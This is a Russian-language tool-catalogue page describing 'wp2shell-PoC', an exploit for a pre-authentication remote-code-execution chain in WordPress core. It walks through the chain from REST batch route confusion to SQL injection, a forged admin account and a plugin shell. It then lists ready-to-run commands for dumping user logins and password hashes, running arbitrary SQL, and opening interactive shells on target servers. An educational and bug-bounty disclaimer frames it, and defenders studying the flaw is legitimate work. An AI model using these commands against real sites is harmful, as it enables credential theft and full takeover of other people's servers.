Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
wp2shell-PoC — Proof-of-concept цепочки RCE для CVE-2026-63030 и CVE-2026-60137 | Kitploit
Инструменты/GitHubGitHub/sowarma/wp2shell-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеБезопасность API
GitHubsowarma/wp2shell-poc

wp2shell-PoC

Proof-of-concept цепочки RCE для CVE-2026-63030 и CVE-2026-60137

9162151020 дней назадПроверено Kitploit
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

wp2shell-PoC

⚠ Этот инструмент создан исключительно в образовательных целях или для программ bug bounty. Несанкционированное использование вне контролируемых сред строго запрещено.

Обзор

Доказательство концепции для цепочки уязвимостей wp2shell, затрагивающей ядро WordPress и объединяющей CVE-2026-63030 и CVE-2026-60137. Проект демонстрирует взаимодействие между путаницей маршрутов в REST API Batch и SQL-инъекцией в WP_Query, что приводит к неаутентифицированному пути к полному взлому WordPress и удалённому выполнению кода (RCE).

Читайте полный отчёт здесь

Как это работает

wp2shell — это цепочка RCE до аутентификации в ядре WordPress, объединяющая CVE-2026-63030 (путаница маршрутов в batch REST endpoint) и CVE-2026-60137 (SQL-инъекция в WP_Query).

Путаница маршрутов: /wp-json/batch/v1 обрабатывает несколько подзапросов через параллельные массивы $matches и $validation, индексируемые по позиции. Подзапрос с некорректным путём (например, http://) добавляется в $validation, но не в из-за оператора , что приводит к рассинхронизации массивов. Последующие запросы обрабатываются обработчиком, предназначенным для запроса, в обход проверки схемы и проверок прав доступа.

$matches
continue
следующего

SQL-инъекция: Два вложенных batch-вызова эксплуатируют это. Внешний batch обходит список разрешённых методов (обычно блокирующий GET). Внутренний batch передаёт скалярную строку author_exclude в GET /wp/v2/posts — рассинхронизация направляет её в обход валидации, а WP_Query интерполирует неэкранированную строку напрямую в SQL, что даёт UNION-based blind-инъекцию.

Отравление кэша: SQLi возвращает поддельные объекты WP_Post, которые WordPress кэширует в памяти. Эти фейковые записи содержат шорткоды [embed], заставляющие WordPress создавать реальные строки oembed_cache в базе данных на основе фейковых ссылок.

Эскалация через changeset: Используя SQLi, атакующий создаёт в памяти поддельный пост customize_changeset с "user_id": 1 в его JSON. Гаджет обнаружения циклов вызывает wp_update_post() без перезаписи post_content, сохраняя полезную нагрузку атакующего. Применение changeset временно присваивает личность администратора.

Повторный вход через хук: Созданный пост со статусом parse и типом request активирует хук parse_request, воспроизводя весь batch-запрос с предполагаемой ролью администратора. На этот раз подзапрос POST /wp/v2/users выполняется успешно, создавая новую учётную запись администратора.

Выполнение кода: Атакующий входит в систему как созданный администратор и загружает вредоносный плагин для выполнения произвольных команд.

Затронутые версии

ВерсияСтатус
WordPress 6.9.0 – 6.9.4Уязвима
WordPress 7.0.0 – 7.0.1Уязвима
WordPress 6.9.5Исправлена
WordPress 7.0.2+Исправлена

Использование

Для использования этого PoC требуется только Python 3.8+.

Запустите его из каталога репозитория, чтобы выполнить проверку уязвимости:

root@kitploit:~
wp2shell.py http://victim.com

Режим проверки (по умолчанию)

Выполняет одиночную проверку уязвимости. Отправляет безвредный batch-маркерный зонд, который обнаруживает ошибку путаницы маршрутов без выполнения SQLi-нагрузок. Уязвимая цель возвращает HTTP 207 с шаблоном ошибок parse_path_failed, block_cannot_read и rest_batch_not_allowed.

Используйте --confirm-sqli, чтобы также отправить активную подтверждающую SQLi-нагрузку. Подтверждение сначала пробует UNION-отражение, затем переключается на тайминговые зонды.

Проверка одной цели (режим по умолчанию)

root@kitploit:~
wp2shell.py http://target.com

Проверка с явным указанием режима

root@kitploit:~
Check with explicit mode
wp2shell.py http://target.com --check

Проверка с подтверждением SQLi

root@kitploit:~
wp2shell.py http://target.com --check --confirm-sqli

Режим чтения — извлечение данных через SQL-инъекцию

Извлекает данные из базы данных с помощью SQL-инъекции до аутентификации. По умолчанию используется --technique auto, который перебирает доступные методы в следующем порядке:

  • union — создаёт поддельную строку WP_Post через UNION и считывает её заголовок из REST-ответа как ||HEX(value)||. Один запрос на значение. Самый быстрый.
  • error — использует EXTRACTVALUE/UPDATEXML для утечки ~15 байт за запрос. Работает, когда цель отражает ошибки MySQL (например, включён WP_DEBUG_DISPLAY).
  • blind — булев бинарный поиск, ~8 запросов на символ. Считывает заголовок X-WP-Total как сигнал true/false. Работает даже когда данные не отражаются.

Принудительно задать конкретную технику можно с помощью --technique union|error|blind. Эти пути чтения доступны только для чтения и не записывают данные в базу.

Снятие отпечатка сервера (запрос по умолчанию)

root@kitploit:~
wp2shell.py http://target.com --read

Дамп логинов и хэшей паролей

root@kitploit:~
wp2shell.py http://target.com --read --preset users

Пользовательский SQL-запрос

root@kitploit:~
wp2shell.py http://target.com --read --query "SELECT @@version"

Принудительное использование blind-техники

root@kitploit:~
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"

Извлечение с помощью error-based техники

root@kitploit:~
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"

Режим оболочки (Shell)

Выполняет команды на целевом сервере. Работает в двух режимах:

С учётными данными (входит как существующий администратор и загружает оболочку-плагин):

Выполнение конкретной команды

root@kitploit:~
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id

Интерактивная оболочка

root@kitploit:~
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):

Выполнение одной команды

root@kitploit:~
wp2shell.py http://target.com --shell --cmd id

Интерактивная оболочка

root@kitploit:~
wp2shell.py http://target.com --shell --interactive

Плагин-оболочка загружается со случайным путём и одноразовым токеном. Загруженная оболочка удаляется автоматически. Когда мост до аутентификации создаёт администратора, эта сгенерированная учётная запись автоматически удаляется после завершения сеанса оболочки.

Список всех флагов:

FlagDescription
--checkВыполнить проверку уязвимости (режим по умолчанию, если не указан другой режим)
--readИзвлечь данные через SQL-инъекцию
--shellВыполнять команды на сервере
--queryПользовательский SQL-запрос для режима чтения
--presetПредустановленный шаблон запроса (users, config, versions)
--techniqueТехника извлечения SQLi: union, error, blind или auto (по умолчанию)
--confirm-sqliОтправить подтверждающую SQLi-нагрузку после проверки
--cmdКоманда для выполнения в режиме оболочки (по умолчанию: id)
--interactive, -iИнтерактивный режим оболочки
--userИмя пользователя администратора для аутентифицированной оболочки
--passwordПароль администратора для аутентифицированной оболочки
--proxyHTTP/HTTPS прокси (например, http://127.0.0.1:8080)
--timeoutТайм-аут запроса в секундах (по умолчанию: 30)
--verbose, -vПодробный вывод

Ссылки:

  1. https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/
  2. https://www.picussecurity.com/resource/blog/cve-2026-63030-and-cve-2026-60137-wp2shell-wordpress-rce-explained

Отказ от ответственности

Этот инструмент создан исключительно в образовательных целях или для программ bug bounty. Несанкционированное использование вне контролируемых сред строго запрещено.

Скачать инструмент